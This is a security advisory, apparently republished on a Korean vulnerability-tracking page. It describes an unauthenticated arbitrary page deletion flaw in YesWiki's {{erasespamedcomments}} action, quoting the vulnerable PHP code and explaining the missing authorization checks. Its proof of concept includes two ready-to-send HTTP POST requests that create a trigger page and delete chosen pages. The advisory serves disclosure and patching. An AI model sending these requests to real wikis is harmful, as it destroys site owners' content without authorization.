YesWiki vulnerable to unauthenticated arbitrary page deletion via `{{erasespamedcomments}}` action
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
예측 데이터 없음
실측 악용 기록 없음
2주 이내 패치 — 우선 조치 대상
CVSS 벡터 · 메트릭
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H상세 설명
Summary
The {{erasespamedcomments}} wiki action (actions/EraseSpamedCommentsAction.php) accepts a suppr[] array from POST and deletes every wiki page whose tag appears in that array, with no authorization check anywhere in the action body or in the page-deletion path it invokes. Combined with YesWiki's allow-by-default action ACL model, any user who has page write access, which is the default for everyone (default_write_acl='*') on a fresh install can permanently delete arbitrary wiki pages, including the front page, admin pages, and pages owned by other users.
The action's delete() callee is PageManager::deleteOrphaned(), which despite its name does not check whether the target page is orphaned: it issues an unconditional DELETE against pages, links, acls, triples, referrers, and tags tables.
Details
Three issues compose the vulnerability.
-
actions/EraseSpamedCommentsAction.phpperforms no authorization check before processing$_POST['clean']/$_POST['suppr'][]inactions/EraseSpamedCommentsAction.php:bash1public function run()2{3 $wiki = &$this->wiki;4 ob_start();5 // ...6 elseif (isset($_POST['clean'])) {7 $deletedPages = '';8 if (!empty($_POST['suppr'])) {9 foreach ($_POST['suppr'] as $page) {10 echo 'Effacement de : ' . $page . "<br />\n";11 if ($wiki->services->get(PageController::class)->delete($page)) {12 $deletedPages .= $page . ', ';13 }14 }15 }1617 }18}No
UserIsAdmin(), noUserIsOwner(), noHasAccess('write', $page)per-target check, no CSRF token check. -
The default action ACL grants access to everyone in
includes/YesWiki.php:bash1$acl = empty($this->config['permissions'][$moduleType][$module])2 ? '*'3 : $this->config['permissions'][$moduleType][$module];bash1if ($acl === null) { return true; }2return $this->CheckACL($acl, $user);No shipped
permissionsmap gateserasespamedcommentsto admins, soPerformer::CheckModuleACL('erasespamedcomments', 'action')returnstruefor anonymous users. -
PageController::delete()andPageManager::deleteOrphaned()perform no authorization check and do not validate that the page is actually orphaned inincludes/controllers/PageController.php:38–48:bash1public function delete(string $tag): bool2{3 if ($this->entryManager->isEntry($tag)) {4 return $this->entryController->delete($tag);5 } else {6 $this->pageManager->deleteOrphaned($tag);7 $this->wiki->LogAdministrativeAction(8 $this->authController->getLoggedUserName(),9 'Suppression de la page ->""' . $tag . '""'10 );11 return true;12 }13}
in includes/services/PageManager.php:289–310:
1public function deleteOrphaned($tag) 2{ 3 if ($this->securityController->isWikiHibernated()) { throw new \Exception(_t('WIKI_IN_HIBERNATION')); } 4 unset($this->ownersCache[$tag]); 5 if (in_array($tag, $this->pageCache)) { unset($this->pageCache[$tag]); } 6 $this->dbService->query("DELETE FROM ... WHERE tag='{$this->dbService->escape($tag)}' OR comment_on='{$this->dbService->escape($tag)}'"); 7 $this->dbService->query("DELETE FROM ...links... WHERE from_tag='{$this->dbService->escape($tag)}' "); 8 $this->dbService->query("DELETE FROM ...acls... WHERE page_tag='{$this->dbService->escape($tag)}' "); 9 // ...further unconditional DELETEs across triples, referrers, tags10}The companion isOrphaned() method (line 284) exists but is never called from deleteOrphaned(). The function name is misleading as it deletes any page, not just orphans.
PoC
Default fresh install where default_write_acl='*' (per includes/YesWikiInit.php:219), anonymous browsing.
- create a trigger page (anonymous)
1POST /?wiki=SpamCleanup/edit HTTP/1.1 2Host: target.example 3Content-Type: application/x-www-form-urlencoded 4 5body=%7B%7Berasespamedcomments%7D%7D&submit=1This succeeds because the new page passes aclService->hasAccess('write', 'SpamCleanup') against default_write_acl='*'.
- trigger arbitrary page deletion (anonymous)
1POST /?wiki=SpamCleanup HTTP/1.1 2Host: target.example 3Content-Type: application/x-www-form-urlencoded 4 5clean=yes&suppr%5B0%5D=PagePrincipale&suppr%5B1%5D=AnotherTargetPageServer response includes Effacement de : PagePrincipale and Effacement de : AnotherTargetPage. pages, links, acls, triples, referrers, and tags rows for those tags are deleted from the database.
Impact
Arbitrary page deletion, including the front page (PagePrincipale).
AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.